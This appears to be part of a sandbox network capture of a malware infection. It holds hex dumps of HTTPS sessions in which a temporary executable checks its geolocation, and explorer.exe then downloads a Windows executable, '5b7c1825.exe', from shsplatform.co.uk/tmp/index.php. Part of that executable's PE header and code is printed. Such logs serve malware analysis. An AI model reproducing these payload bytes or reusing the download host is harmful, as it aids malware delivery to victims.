ba db 2f 3e 4f 21 28 1a 4d bb 56 32 8d 9a 78 59 dd 94 74 38 bc 2e 39 26 2a 48 b7 04 92 bc bb 4f Data Ascii: +R<&k]m[ IPfe<J)1u\|PIylmqC,n+Z>5F@F,2HBL0^;rct"h]skk-\,"%TJX[6f'4<Bi7tG9yNE)L/>O!(MV2xYt8.9&*HO
2023-07-27 16:27:23 UTC	567	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	567	IN	Data Raw: 32 30 30 30 0d 0a 01 00 00 00 b8 02 00 80 02 00 00 00 d0 02 00 80 03 00 00 00 e8 02 00 80 04 00 00 00 00 03 00 80 05 00 00 00 18 03 00 80 06 00 00 00 30 03 00 80 07 00 00 00 48 03 00 80 08 00 00 00 60 03 00 80 09 00 00 00 78 03 00 80 0a 00 00 00 90 03 00 80 0b 00 00 00 a8 03 00 80 0c 00 00 00 c0 03 00 80 0d 00 00 00 d8 03 00 80 0e 00 00 00 f0 03 00 80 0f 00 00 00 08 04 00 80 10 00 00 00 20 04 00 80 11 00 00 00 38 04 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 18 00 00 00 50 04 00 80 19 00 00 00 68 04 00 80 1a 00 00 00 80 04 00 80 1b 00 00 00 98 04 00 80 1c 00 00 00 b0 04 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 bf 00 00 00 c8 04 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 47 09 00 00 e0 04 00 80 50 09 00 00 f8 04 00 80 51 Data Ascii: 20000H`x 8PhGPQ
2023-07-27 16:27:23 UTC	575	IN	Data Raw: 7c 80 7c 80 82 83 Data Ascii: \|\|
2023-07-27 16:27:23 UTC	575	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	575	IN	Data Raw: 32 30 30 30 0d 0a 7d 7b 85 7c 7c 7c 81 84 81 84 7d 7c 7c 80 84 7b 7d 7a 85 7e 81 84 7e 7f 7e 7e 7d 80 7c 7c 7f 7b 81 7f 7b 7f 7e 79 83 7b 81 83 7e 7d 7f 84 7c 80 80 7e 80 81 85 7d 7b 83 7b 81 7c 80 7c 7f 84 7a 80 84 85 7f 7a 83 82 82 83 7e 7b 83 7d 7d 81 7d 7d 7b 7e 84 85 7f 7b 7a 83 81 80 81 83 7f 7c 7f 7a 84 7c 7d 83 7e 7f 7b 85 83 7e 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7b 7d 80 7f 7d 7f 7d 7e 81 85 84 80 7e 7a 82 7f 7d 7c 7f 7b 7f 82 80 82 82 7a 82 84 7d 84 7e 7c 7f 80 85 80 80 7d 7c 7e 80 7f 82 7b 86 81 80 7d 86 80 83 80 83 82 7c 81 7b 84 82 85 83 7b 83 84 83 81 7d 7f 85 7e 80 82 7c 83 84 7f 83 82 7b 84 80 7b 7f 80 7b 84 7f 85 81 82 7c 7e 7c 82 7f 82 81 85 86 85 7b 7e 7e 84 81 Data Ascii: 2000}{\|\|\|}\|\|{}z~~~~}\|\|{{~y{~}\|~}{{\|\|zz~{}}}}{~{z\|z\|}~{~{}}}~~z}\|{z}~\|}\|~{}\|{{}~\|{{{\|~\|{~~
2023-07-27 16:27:23 UTC	583	IN	Data Raw: 4c 1a e3 a9 c6 94 Data Ascii: L
2023-07-27 16:27:23 UTC	583	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	583	IN	Data Raw: 31 31 33 38 0d 0a a8 16 16 16 16 16 16 16 16 16 16 a8 94 c6 a9 bc 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1d 1a 1a 1a 1d 1a 1a 1d 1a 1d 1a 1d 1a 1d 1a e3 ff c6 94 a8 16 16 16 16 16 16 16 16 a8 94 c6 ff e3 1d 1d 1d 1d 1d 1d 1d 1d 1d 1d 1d 1d 1d 1d 1d 1d 1d 1d 3f 1d 1d 1d 1d 1d 1d 1d 1d 1d 1d 3f 1d 1b ff 34 94 a8 16 16 16 16 16 16 a8 94 09 51 17 c8 82 1a 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 1d e3 c8 17 51 09 94 a8 16 16 16 16 16 af 94 94 94 94 31 7c c6 0e d6 b3 fc c8 1b 1d 3f ea 3f ea ea ea ea ea 3f ea ea ea ea 1d 1b bc fc b3 d6 0e c6 7c 31 94 94 94 94 af 16 16 16 16 16 16 16 16 16 5e a8 57 88 94 94 94 94 31 7c c6 39 1b ea ea ea ea ea ea ea ea ea 1b 39 c6 7c 31 94 94 94 94 88 57 a8 5e 16 16 16 16 16 16 16 16 16 Data Ascii: 1138??4Q???????????????????????????Q1\|???\|1^W1\|99\|1W^
2023-07-27 16:27:23 UTC	591	IN	Data Raw: 7f 80 80 80 7f 7f 81 80 7f 7e 7f 7f 7f 7e 7f 7f 7f 7f 81 7e 80 7f 7e 7e 7e 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 81 81 7e 80 81 81 7f 80 80 7f 7f 81 00 00 00 00 7f 7f 81 7f 80 7e 7e 7f 7f 7e 7f 81 7e 80 81 7e 81 7f 7f 81 7f 80 7f 80 81 80 80 80 7e 81 7f 7f 80 7e 7f 81 81 80 81 80 80 7e 7e 80 80 7f 7e 80 7e 80 7e 7f 80 80 80 7f 80 7e 7f 80 7f 7f 80 7f 7f 7f 80 80 7f 80 81 80 80 80 80 80 80 80 7f 80 80 80 80 80 80 81 7f 7e 7f 7f 80 80 7e 7e 7e 80 7f 81 81 7f 7e 7e 7f 80 7f 7e 7f 81 7f 7e 7f 7f 7f 7f 7f 7e 7f 7f 80 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-07-27 16:27:23 UTC	595	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	595	IN	Data Raw: 32 30 30 30 0d 0a 80 81 81 81 80 80 7e 7f 80 7e 81 80 80 7f 80 81 7f 81 7e 7f 80 80 80 7f 7e 80 7e 7f 80 7f 80 81 7f 80 80 7e 7f 80 7f 7f 81 81 80 7e 80 7f 81 80 81 7f 7f 7e 81 7f 80 80 7f 7e 7f 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7e 80 81 81 80 7f 81 7e 81 80 7f 81 80 80 7f 7f 7e 80 80 7e 80 7f 81 7f 80 7e 80 7f 7e 81 7f 80 81 7f 7f 7e 7f 81 7e 7e 81 80 81 7f 80 80 7e 7e 80 80 7e 7f 80 7f 80 7e 7f 7f 7f 7e 7f 81 7f 7f 81 7f 7f 80 7f 80 80 80 7f 7f 80 7e 7f 80 7f 7f 80 80 80 80 80 81 7f 7f 7e 80 81 80 7f 81 7f 80 80 7f 81 7f 80 7f 80 81 7e 81 7f 80 7e 7e 81 7f 7f 7f 80 7f 80 81 81 80 7f 7e 7f 81 81 80 7e 80 81 80 7e 80 80 81 80 7e 7f 7f 7f 7f 7f 80 81 7f 7e Data Ascii: 2000~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-07-27 16:27:23 UTC	603	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:23 UTC	603	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	603	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 41 c0 3f ff 41 e0 00 1f 41 c0 00 03 41 c0 00 0f 41 f0 00 03 41 c0 00 01 41 80 00 03 41 00 00 00 41 10 00 3f 41 c0 00 03 41 c0 00 03 41 00 00 07 41 00 00 01 41 80 00 01 41 c0 00 03 41 ff 00 01 41 f8 00 31 41 e0 00 00 41 fc 00 00 41 c0 00 01 41 e0 00 07 41 ff 00 03 41 ff ff ff 41 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7e 80 7f 7f 80 80 80 7f 81 7f 80 80 80 80 7f 7f 81 80 7e 80 7f 80 80 80 7f 7f 7f 7e 7f 80 80 81 81 81 80 81 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 80 80 80 7f 81 7e 7f 81 80 7f 7f 7e 80 80 7f 80 Data Ascii: 2000A?AAAAAAAA?AAAAAAAA1AAAAAAA( ~~~~~
2023-07-27 16:27:23 UTC	611	IN	Data Raw: 7e 00 81 81 7f 00 Data Ascii: ~
2023-07-27 16:27:23 UTC	611	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	611	IN	Data Raw: 32 30 30 30 0d 0a 81 81 80 00 7e 7f 7f 00 7f 7f 80 00 7e 81 7f 00 7e 7f 80 00 7f 80 7f 00 81 7f 7f 00 80 7f 7e 00 7e 7e 7f 00 7f 80 80 00 81 7f 80 00 7e 80 80 00 7f 80 81 00 7f 80 81 00 7e 80 80 00 7f 7f 80 00 7f 7e 7e 00 80 80 7f 00 7f 7e 7e 00 80 80 80 00 7f 81 7f 00 7f 80 7f 00 81 80 7f 00 80 7e 80 00 81 7e 80 00 81 7f 81 00 80 81 7f 00 7f 7f 80 00 80 80 80 00 7f 7f 81 00 7e 80 81 00 7f 7e 81 00 7f 80 80 00 7f 80 81 00 7e 7f 7e 00 80 7e 80 00 7f 7e 80 00 7e 80 80 00 7f 7f 7f 00 80 80 80 00 80 7e 7e 00 80 80 7e 00 7e 7e 7f 00 7f 7f 7e 00 7f 80 7e 00 7f 7f 81 00 81 7e 81 00 80 7f 80 00 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a ae ba ba Data Ascii: 2000~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-07-27 16:27:23 UTC	619	IN	Data Raw: 7f 80 7f 80 7e 7e Data Ascii: ~~
2023-07-27 16:27:23 UTC	619	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	619	IN	Data Raw: 32 30 30 30 0d 0a 7e 7f 80 7f 80 80 81 80 7e 7f 7f 80 7e 7e 80 80 80 7e 7e 81 7e 80 80 7e 7e 7f 7f 81 80 7f 7e 7f 80 7f 7f 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 7f 81 7f 7f 81 7f 81 81 81 7e 7f 7f 7e 7f 7f 80 80 7f 7f 7f 81 7f 7f 7f 7f 7e 81 7f 7f 7f 7f 80 80 7f 80 80 7f 80 80 7e 7f 81 7f 7f 7f 81 7f 7f 81 80 80 80 7e 7e 81 80 80 7f 80 7f 7e 7f 81 7e 7f 7f 80 80 80 80 7e 81 80 80 7e 7f 7e 7e 7f 81 7f 81 7e 81 7f 80 7e 7f 80 81 7e 7f 7f 7f 81 7f 7f 7f 80 7e 7f 80 7e 7f 7f 81 7f 7e 80 7e 7f 80 7f 7f 7f 7f 80 81 7e 80 81 7f 81 80 80 7e 7e 80 80 80 7e 80 80 7f 7f 81 80 81 80 7f 7f 80 80 7f 7f 7f 7f 7e 7e 7f 80 80 81 80 80 80 7f 7e 7f 7f 7e 7f 7e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-07-27 16:27:23 UTC	627	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:23 UTC	627	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	627	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 80 81 7f 7e 7f 7f 80 80 7f 7e 80 7f 7e 80 7e 7e 80 81 80 7f 80 7f 81 7f 7f 80 7e 81 81 80 7f 80 80 80 80 7f 80 80 80 81 80 7f 7f 80 7f 7f 7e 7e 7f 81 7f 7f 80 80 80 7f 7f 7f 7f 7f 7e 80 7f 7e 81 7e 7f 81 80 80 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 81 80 7e 7f 7f 80 80 7e 7e 7f 80 7f 7e 7f 7f 80 7e 7f 7f 7e 80 7f 7f 80 80 7f 80 80 80 7e 7f 80 7f 80 80 7f 7f 7f 7e 80 7f 7f 7f 80 7e 7f 81 7f 80 7e 80 80 7e 81 80 7f 7e 81 7f 80 7e 81 7e 7e 80 81 7e 81 7f 7e 7f 81 80 80 80 7e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 80 7e 7e 7f 7f 7f 81 80 81 81 80 80 7e 80 7f 80 80 81 80 81 7f 80 7f 81 80 80 81 81 7e 7e 7f 7f 80 7f 80 7f 7f 80 80 7f 80 7e 7f 80 Data Ascii: 2000~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-07-27 16:27:23 UTC	635	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:23 UTC	635	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	635	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff 1f ff ff ff ff ff ff ff c7 ff ff ff f1 ff ff f1 f8 ff ff f8 01 0f cf fe 00 00 cf f1 f8 78 ff f0 f8 7f ff e7 00 ff ff f0 00 ff ff f0 61 ff ff fe 01 ff ff fe 00 1f ff fe 00 20 cf fe 00 7f cf e0 00 00 ff f6 01 ff ff f6 03 ff ff f8 07 df ff fe 03 8f ff fe 1f 07 ff fe 3c 02 cf f0 1f 00 cf f8 c3 8e ff ff 08 00 0f ff e3 c0 0f ff cf ff ff ff df ff ef ff ff ff ff 00 00 01 00 03 00 20 20 02 00 01 00 01 00 30 01 00 00 12 00 18 18 02 00 01 Data Ascii: 2000xa < 0
2023-07-27 16:27:23 UTC	643	IN	Data Raw: 70 00 65 00 63 00 Data Ascii: pec
2023-07-27 16:27:23 UTC	643	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	643	IN	Data Raw: 63 32 30 0d 0a 61 00 66 00 69 00 77 00 75 00 62 00 6f 00 72 00 20 00 7a 00 61 00 67 00 61 00 68 00 69 00 6e 00 75 00 6d 00 61 00 68 00 61 00 79 00 20 00 72 00 69 00 72 00 61 00 62 00 6f 00 6d 00 69 00 6a 00 6f 00 78 00 65 00 20 00 79 00 65 00 78 00 65 00 67 00 69 00 73 00 65 00 73 00 20 00 76 00 6f 00 72 00 75 00 78 00 69 00 6e 00 6f 00 25 00 52 00 69 00 6d 00 20 00 79 00 6f 00 62 00 65 00 68 00 69 00 79 00 75 00 64 00 65 00 76 00 75 00 6e 00 20 00 70 00 6f 00 79 00 61 00 62 00 69 00 66 00 69 00 72 00 61 00 6e 00 69 00 20 00 63 00 65 00 66 00 65 00 78 00 6f 00 44 00 4e 00 6f 00 72 00 75 00 6d 00 65 00 79 00 61 00 6c 00 75 00 6e 00 65 00 77 00 65 00 6e 00 20 00 77 00 69 00 74 00 61 00 20 00 64 00 6f 00 64 00 65 00 6c 00 69 00 62 00 75 00 70 00 6f 00 6b 00 Data Ascii: c20afiwubor zagahinumahay rirabomijoxe yexegises voruxino%Rim yobehiyudevun poyabifirani cefexoDNorumeyalunewen wita dodelibupok

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49757	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D5C1.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 16:27:28 UTC	646	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-07-27 16:27:28 UTC	646	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 27 Jul 2023 16:27:28 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-07-27 16:27:28 UTC	647	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49795	80.66.203.53	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 16:27:35 UTC	647	OUT	GET /tmp/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: shsplatform.co.uk
2023-07-27 16:27:35 UTC	647	IN	HTTP/1.1 200 OK Date: Thu, 27 Jul 2023 16:27:35 GMT Server: Apache Content-Description: File Transfer Content-Disposition: attachment; filename=5b7c1825.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Connection: close Transfer-Encoding: chunked Content-Type: application/octet-stream
2023-07-27 16:27:35 UTC	648	IN	Data Raw: 32 30 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 17 17 58 88 76 79 0b 88 76 79 0b 88 76 79 0b e7 00 e7 0b 9e 76 79 0b e7 00 d2 0b af 76 79 0b e7 00 d3 0b fc 76 79 0b 81 0e ea 0b 81 76 79 0b 88 76 78 0b 1b 76 79 0b e7 00 d6 0b 89 76 79 0b e7 00 e3 0b 89 76 79 0b e7 00 e4 0b 89 76 79 0b 52 69 63 68 88 76 79 0b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 35 c5 36 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b Data Ascii: 2000MZ@!L!This program cannot be run in DOS mode.$XvyvyvyvyvyvyvyvxvyvyvyvyRichvyPEL56c
2023-07-27 16:27:35 UTC	655	IN	Data Raw: 6f 78 57 00 55 00 53 00 45 00 52 00 33 00 32 00 2e 00 44 00 4c 00 4c 00 00 00 00 00 20 43 6f 6d 70 6c 65 74 65 20 4f 62 6a 65 63 74 20 4c 6f 63 61 74 6f 72 27 00 00 00 20 43 6c 61 73 73 20 48 69 65 72 61 72 63 68 79 20 44 65 73 63 72 69 70 74 6f 72 27 00 00 00 00 20 42 61 73 65 20 43 6c 61 73 73 20 41 72 72 61 79 27 00 00 20 42 61 73 65 20 43 6c 61 73 73 20 44 65 73 63 72 69 70 74 6f 72 20 61 74 20 28 00 20 54 79 70 65 20 44 65 73 63 72 69 70 74 6f 72 27 00 00 00 60 6c 6f 63 61 6c 20 73 74 61 74 69 63 20 74 68 72 65 61 64 20 67 75 61 72 64 27 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 60 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 Data Ascii: oxWUSER32.DLL Complete Object Locator' Class Hierarchy Descriptor' Base Class Array' Base Class Descriptor at ( Type Descriptor'`local static thread guard'`managed vector copy constructor iterator'`vector vbase copy construc
2023-07-27 16:27:35 UTC	656	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	656	IN	Data Raw: 32 30 30 30 0d 0a 20 69 6e 69 74 69 61 6c 69 7a 65 72 20 66 6f 72 20 27 00 00 60 65 68 20 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 60 65 68 20 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 64 65 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 60 70 6c 61 63 65 6d 65 6e 74 20 64 65 6c 65 74 65 5b 5d 20 63 6c 6f 73 75 72 65 27 00 00 00 00 60 70 6c 61 63 65 6d 65 6e 74 20 64 65 6c 65 74 65 20 63 6c 6f 73 75 72 65 27 00 00 60 6f 6d 6e 69 Data Ascii: 2000 initializer for '`eh vector vbase copy constructor iterator'`eh vector copy constructor iterator'`managed vector destructor iterator'`managed vector constructor iterator'`placement delete[] closure'`placement delete closure'`omni
2023-07-27 16:27:35 UTC	664	IN	Data Raw: e5 13 00 00 59 c3 Data Ascii: Y
2023-07-27 16:27:35 UTC	664	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	664	IN	Data Raw: 32 30 30 30 0d 0a 8b ff 55 8b ec 51 83 65 fc 00 56 8d 45 fc 50 ff 75 0c ff 75 08 e8 95 1b 00 00 8b f0 83 c4 0c 85 f6 75 18 39 45 fc 74 13 e8 19 11 00 00 85 c0 74 0a e8 10 11 00 00 8b 4d fc 89 08 8b c6 5e c9 c3 8b ff 55 8b ec 53 8b 5d 08 83 fb e0 77 6f 56 57 83 3d 94 a1 48 00 00 75 18 e8 93 20 00 00 6a 1e e8 dd 1e 00 00 68 ff 00 00 00 e8 ed 1b 00 00 59 59 85 db 74 04 8b c3 eb 03 33 c0 40 50 6a 00 ff 35 94 a1 48 00 ff 15 70 11 40 00 8b f8 85 ff 75 26 6a 0c 5e 39 05 04 a8 48 00 74 0d 53 e8 97 20 00 00 59 85 c0 75 a9 eb 07 e8 98 10 00 00 89 30 e8 91 10 00 00 89 30 8b c7 5f 5e eb 14 53 e8 76 20 00 00 59 e8 7d 10 00 00 c7 00 0c 00 00 00 33 c0 5b 5d c3 6a 08 68 b0 6f 42 00 e8 e0 18 00 00 33 c0 8b 75 08 33 db 3b f3 0f 95 c0 3b c3 75 16 e8 51 10 00 00 c7 00 16 00 Data Ascii: 2000UQeVEPuuu9EttM^US]woVW=Hu jhYYt3@Pj5Hp@u&j^9HtS Yu00_^Sv Y}3[]jhoB3u3;;uQ
2023-07-27 16:27:35 UTC	672	IN	Data Raw: c4 0c 85 c0 74 0c Data Ascii: t
2023-07-27 16:27:35 UTC	672	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	672	IN	Data Raw: 32 30 30 30 0d 0a 33 c0 50 50 50 50 50 e8 49 f9 ff ff 56 e8 69 5d 00 00 40 59 83 f8 3c 76 2a 56 e8 5c 5d 00 00 8d 04 45 94 a1 48 00 8b c8 2b ce 6a 03 d1 f9 68 4c 1d 40 00 2b d9 53 50 e8 72 5c 00 00 83 c4 14 85 c0 75 bd 68 44 1d 40 00 be 14 03 00 00 56 57 e8 e5 5b 00 00 83 c4 0c 85 c0 75 a5 ff b5 04 fe ff ff 56 57 e8 d1 5b 00 00 83 c4 0c 85 c0 75 91 68 10 20 01 00 68 f8 1c 40 00 57 e8 4e 5a 00 00 83 c4 0c eb 5e 53 53 53 53 53 e9 79 ff ff ff 6a f4 ff 15 8c 11 40 00 8b f0 3b f3 74 46 83 fe ff 74 41 33 c0 8a 0c 47 88 8c 05 08 fe ff ff 66 39 1c 47 74 08 40 3d f4 01 00 00 72 e8 53 8d 85 04 fe ff ff 50 8d 85 08 fe ff ff 50 88 5d fb e8 1e f1 ff ff 59 50 8d 85 08 fe ff ff 50 56 ff 15 ac 11 40 00 8b 4d fc 5f 5e 33 cd 5b e8 f2 eb ff ff c9 c3 6a 03 e8 01 5d 00 00 59 Data Ascii: 20003PPPPPIVi]@Y<v*V\]EH+jhL@+SPr\uhD@VW[uVW[uh h@WNZ^SSSSSyj@;tFtA3Gf9Gt@=rSPP]YPPV@M_^3[j]Y
2023-07-27 16:27:35 UTC	680	IN	Data Raw: 00 e8 ca be ff ff Data Ascii:
2023-07-27 16:27:35 UTC	680	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	680	IN	Data Raw: 32 30 30 30 0d 0a 83 25 b0 a1 48 00 00 83 c8 ff eb e4 33 c0 50 50 50 50 50 e8 3d d9 ff ff cc 8b ff 55 8b ec 51 8b 4d 10 53 33 c0 56 89 07 8b f2 8b 55 0c c7 01 01 00 00 00 39 45 08 74 09 8b 5d 08 83 45 08 04 89 13 89 45 fc 80 3e 22 75 10 33 c0 39 45 fc b3 22 0f 94 c0 46 89 45 fc eb 3c ff 07 85 d2 74 08 8a 06 88 02 42 89 55 0c 8a 1e 0f b6 c3 50 46 e8 0a 47 00 00 59 85 c0 74 13 ff 07 83 7d 0c 00 74 0a 8b 4d 0c 8a 06 ff 45 0c 88 01 46 8b 55 0c 8b 4d 10 84 db 74 32 83 7d fc 00 75 a9 80 fb 20 74 05 80 fb 09 75 9f 85 d2 74 04 c6 42 ff 00 83 65 fc 00 80 3e 00 0f 84 e9 00 00 00 8a 06 3c 20 74 04 3c 09 75 06 46 eb f3 4e eb e3 80 3e 00 0f 84 d0 00 00 00 83 7d 08 00 74 09 8b 45 08 83 45 08 04 89 10 ff 01 33 db 43 33 c9 eb 02 46 41 80 3e 5c 74 f9 80 3e 22 75 26 f6 c1 Data Ascii: 2000%H3PPPPP=UQMS3VU9Et]EE>"u39E"FE<tBUPFGYt}tMEFUMt2}u tutBe>< t<uFN>}tEE3C3FA>\t>"u&
2023-07-27 16:27:35 UTC	688	IN	Data Raw: 15 60 11 40 00 5d Data Ascii: `@]
2023-07-27 16:27:35 UTC	688	IN	Data Raw: 0d 0a Data Ascii:
